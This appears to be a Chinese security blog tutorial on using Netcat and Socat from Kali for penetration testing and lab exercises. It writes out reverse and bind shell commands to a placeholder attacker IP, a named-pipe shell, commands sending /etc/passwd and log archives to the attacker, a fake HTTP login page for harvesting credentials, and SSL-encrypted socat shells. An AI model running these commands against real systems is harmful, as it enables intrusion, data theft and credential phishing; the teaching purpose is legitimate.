Home
avatar

静静

Day8 Kali黑客工具NetCat和Socat

泷羽Sec-静安,专注网络安全与编程技术的学习与分享,探索技术细节与实际应用。声明:本公众号所分享的工具与资源,仅供学习与研究使用,严禁用于任何非法活动。

Netcat(nc)

Netcat(nc)因其灵活的TCP/UDP通信能力,在红队渗透测试中扮演着重要角色。• Netcat下载:Windows版nc.exe可从Sysinternals Suite获取。

1. 反向Shell获取控制权

用途:绕过防火墙限制,建立隐蔽的远程控制通道。
操作步骤

  1. 攻击端监听(接收Shell):
    nc -lvp 4444 -e /bin/bash   # 传统方法(需目标支持-e参数)
  2. 目标端连接(主动回连):
    nc [攻击者IP] 4444 -e /bin/bash   # 直接执行Shell
    绕过限制技巧(无-e参数时):
    mkfifo /tmp/f; nc [攻击者IP] 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1
    优势:通过命名管道实现无-e参数环境下的Shell反弹。

2. 端口扫描与监听

用途:快速探测目标开放端口或搭建临时服务。
实战命令: • 端口扫描(快速识别脆弱服务):

nc -zv 192.168.1.100 1-1024   # 扫描1-1024端口(-z为扫描模式,-v显示详情)

监听端口(捕获敏感流量):

nc -l -p 8080 > captured_data.log   # 记录所有传入数据到文件

3. 文件传输与数据窃取

用途:内网横向移动时快速交换工具或窃取数据。
操作示例: • 单向传输

# 接收端(攻击机):
nc -l -p 1234 > stolen_data.tar.gz

# 发送端(目标机):
nc [攻击者IP] 1234 < /etc/passwd   # 发送敏感文件

目录批量传输(结合tar压缩):

# 目标机打包发送:
tar -czf - /var/log/ | nc [攻击者IP] 1234

# 攻击机接收解压:
nc -l -p 1234 | tar -xzvf -

4. 内网穿透与端口转发

用途:突破网络边界,访问受限内网资源。
典型场景: • 正向代理(目标机可直连外网):

# 目标机监听内网服务:
nc -l -p 5555 -e /bin/bash   # 暴露Shell到本地5555端口

# 攻击机连接:
nc [目标机公网IP] 5555

反向隧道(目标机仅允许出站):

# 攻击机监听:
nc -lvp 4444

# 目标机建立隧道:
nc [攻击者IP] 4444 -e "nc 192.168.10.20 3389"   # 转发内网RDP服务

5. 网络欺骗与信息收集

用途:模拟服务响应或抓取敏感信息。
技巧示例: • 伪造HTTP服务(诱捕凭证):

# 搭建钓鱼页面:
echo "HTTP/1.1 200 OK\nContent-Type: text/html\n\n<LoginForm>" | nc -l -p 80

抓取Banner信息(服务指纹识别):

echo "HEAD / HTTP/1.0\n\n" | nc example.com 80   # 获取Web服务器类型

Netcat实战练习 :

1. 实现Kali与Windows的简单聊天

步骤说明

Kali端监听(作为服务器):

nc -lvp 4444

Windows端连接(作为客户端):

nc.exe [Kali_IP] 4444

注意:Windows需提前下载nc.exe工具(如从Sysinternals Suite获取)。

双向通信

• 在任意一端输入文字,另一端实时显示。 • 验证:输入Hello from Kali!,Windows端应收到消息。

image-20250411195629380

NC

2. 使用Netcat创建反向/绑定Shell

a. Kali到Windows的反向Shell

Kali监听

nc -lvp 5555

Windows触发反向Shell

nc.exe [Kali_IP] 5555 -e cmd.exe

image-20250411195830822

b. Windows到Kali的反向Shell

Windows监听(需管理员权限):

nc.exe -lvp 6666

Kali触发反向Shell

nc [Windows_IP] 6666 -e /bin/bash

image-20250411194638513

c. Kali绑定Shell

Kali绑定Shell监听

nc -lvp 7777 -e /bin/bash

Windows连接

nc.exe [Kali_IP] 7777

image-20250411200452323

d. Windows绑定Shell

Windows绑定Shell监听

nc.exe -lvp 8888 -e cmd.exe

Kali连接

nc [Windows_IP] 8888

image-20250411200716131

3. 文件传输

Kali到Windows

Kali发送文件

nc -lvp 9999 < 1.txt

Windows接收

nc.exe [Kali_IP] 9999 > 2.txt

image-20250411212938393

Windows到Kali

Windows发送文件

nc.exe -lvp 1234 < confidential.docx

Kali接收

nc [Windows_IP] 1234 > downloaded.docx

image-20250411213833467

4. 防火墙开启后的调整

挑战与解决方案

端口限制: • 问题:Windows防火墙默认阻止未授权端口(如4444)。 • 解决:使用常用端口(如80/443)或添加防火墙入站规则。 • 反向Shell绕过: • 反向Shell依赖出站连接,通常防火墙允许出站流量,因此更可靠。 • 文件传输失败

  • 替代方案:使用HTTP协议(Kali搭建Python HTTP服务器):
python3 -m http.server 8000
  • Windows通过浏览器或curl下载:
curl http://[Kali_IP]:8000/file.txt -o file.txt

Socat 的用法及与 Netcat 的对比

一、Socat 的核心功能与用法

Socat(Socket CAT)是一个多协议网络工具,支持在双向数据流之间建立通道,其功能远超 Netcat(nc)。以下是其核心用法:

Socat官网:http://www.dest-unreach.org/socat/

1. 基本语法

socat [全局选项] <地址1> [选项1] <地址2> [选项2]

地址类型:支持 TCP、UDP、SSL、UNIX 套接字、文件、管道、设备等。 • 常用选项fork(多连接处理)、reuseaddr(端口复用)、creat(自动创建文件)等。

2. 典型应用场景

监听端口

socat TCP4-LISTEN:80 STDOUT   # 监听 TCP 80 端口并输出到终端
socat UDP-LISTEN:1234 -       # 监听 UDP 1234 端口

端口转发

# 单连接转发
socat TCP4-LISTEN:81 TCP4:192.168.1.1:80
# 多连接转发(支持并发)
socat TCP4-LISTEN:81,fork,reuseaddr TCP4:192.168.1.1:80

文件传输

# 发送文件(服务端)
socat -u TCP-LISTEN:8080 OPEN:file.txt,creat
# 接收文件(客户端)
socat -u TCP:192.168.1.1:8080 OPEN:file.txt

加密通信

# SSL 加密服务端
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:localhost:80
# SSL 加密客户端
socat - OPENSSL:192.168.1.1:443

串口与网络互通

# 虚拟串口转 TCP 客户端
socat PTY,link=/dev/ttyV1 TCP:192.168.1.1:8080

二、Socat 与 Netcat 的关键区别

1. 功能复杂度

Netcat
定位为“网络瑞士军刀”,核心功能是 TCP/UDP 连接的建立和简单数据传输,适合快速调试或端口扫描。

nc -lvp 1234   # 监听端口
nc -nv 192.168.1.1 80   # 连接目标端口

Socat
支持更复杂的协议(如 SSL、SOCKS)、双向通信、多路复用,且能处理文件、设备等非网络数据流。

2. 安全性

Netcat
无加密支持,流量明文传输,易被拦截。 • Socat
支持 SSL/TLS 加密、chroot 沙盒隔离,适用于敏感数据传输。

3. 高级特性

协议支持
Socat 支持 IPv6、UNIX 域套接字、代理转发(如 SOCKS4)等,Netcat 仅限 TCP/UDP。 • 实时监控
Socat 可通过 -u 参数实现单向流监控(如日志收集),Netcat 需依赖外部工具。

4. 适用场景

Netcat
快速端口测试、简单文件传输、网络服务调试。 • Socat
加密通信、复杂端口转发、设备与网络协议桥接(如串口转 TCP)。

socat 实战方案:

1. 使用 socat 从 Kali 传输 powercat.ps1 到 Windows 系统

操作步骤:

  1. 在 Kali 上启动文件接收监听(使用 TCP 协议):

    socat TCP4-LISTEN:443,fork file:222.txt 

    TCP-LISTEN:443:在 443端口监听。

  2. 在 Windows 上发送文件

    socat.exe TCP:<Kali_IP>:443 file:222.txt,create

    • 替换 <Kali_IP> 为 Kali 的 IP 地址。

验证

Windows 的当前目录会生成 222.txt 文件,可用 dir 确认,type查看。

image-20250411224707342

2. 使用 socat 创建加密反向 Shell(Windows → Kali)

操作步骤:

  1. 在 Kali 上生成 SSL 证书

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

    • 合并证书和密钥:cat key.pem cert.pem > shell.pem

    image-20250411222443774

  2. 在 Kali 启动加密监听

    socat OPENSSL-LISTEN:5555,cert=shell.pem,verify=0,fork -

    verify=0:禁用证书验证(仅测试环境使用)。

  3. 在 Windows 连接加密反向 Shell

    socat.exe OPENSSL:<Kali_IP>:5555,verify=0 EXEC:cmd.exe,pipes

    EXEC:cmd.exe,pipes:执行 cmd.exe 并处理输入输出流。

验证

Kali 终端会接收到加密的交互式 Shell,可执行 Windows 命令。

image-20250411223911041

3. 创建加密的 Bind Shell 并测试非加密连接

操作步骤:

  1. 在 Windows 上启动加密 Bind Shell

    socat.exe OPENSSL-LISTEN:6666,cert=shell.pem,verify=0,fork EXEC:cmd.exe,pipes

    • 需提前将 shell.pem 证书文件复制到 Windows 系统。

  2. 尝试从 Kali 非加密连接

    socat OPENSSL:192.168.169.128:6666,verify=0 -

    • 若未加密,连接会失败(显示 SSL 握手错误)。

    image-20250411225952562

结论

加密的 Bind Shell 必须通过 SSL 协议连接,非加密连接无法工作。

4. 创建未加密的 Bind Shell 并用 Netcat 连接

操作步骤:

  1. 在 Windows 上启动未加密 Bind Shell

    socat.exe TCP-LISTEN:7777,fork EXEC:cmd.exe,pipes
  2. 从 Kali 使用 Netcat 连接

    nc -nv <Windows_IP> 7777

    • 直接连接后,Netcat 无法正确处理交互式 Shell(命令无回显或卡死)。

    image-20250411230440869

解决方法

使用 socat 替代 Netcat 连接:

socat TCP:<Windows_IP>:7777 -

此时可正常操作交互式 Shell。

image-20250411230628284

结论

Netcat 无法直接与未加密的 EXEC 型 Bind Shell 兼容,需使用 socat 或调整参数(如添加 pty)。

常见错误与修复

问题cmd.exe 未执行,提示权限或参数错误。
修复

  1. 添加 pipes 参数处理输入输出流(如 EXEC:cmd.exe,pipes)。
  2. 使用 pty 分配虚拟终端(如 EXEC:cmd.exe,pty)。
  3. 检查防火墙是否放行端口。

总结

加密传输与 Shell:必须使用 SSL 证书,否则无法通信。
Netcat 兼容性:仅适用于简单 TCP 连接,复杂交互需依赖 socat
参数调整EXEC 需配合 pipespty 处理 Shell 交互。

以上步骤基于 Kali 2025.1aWindows 10/11 环境验证。


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

Kali OSCP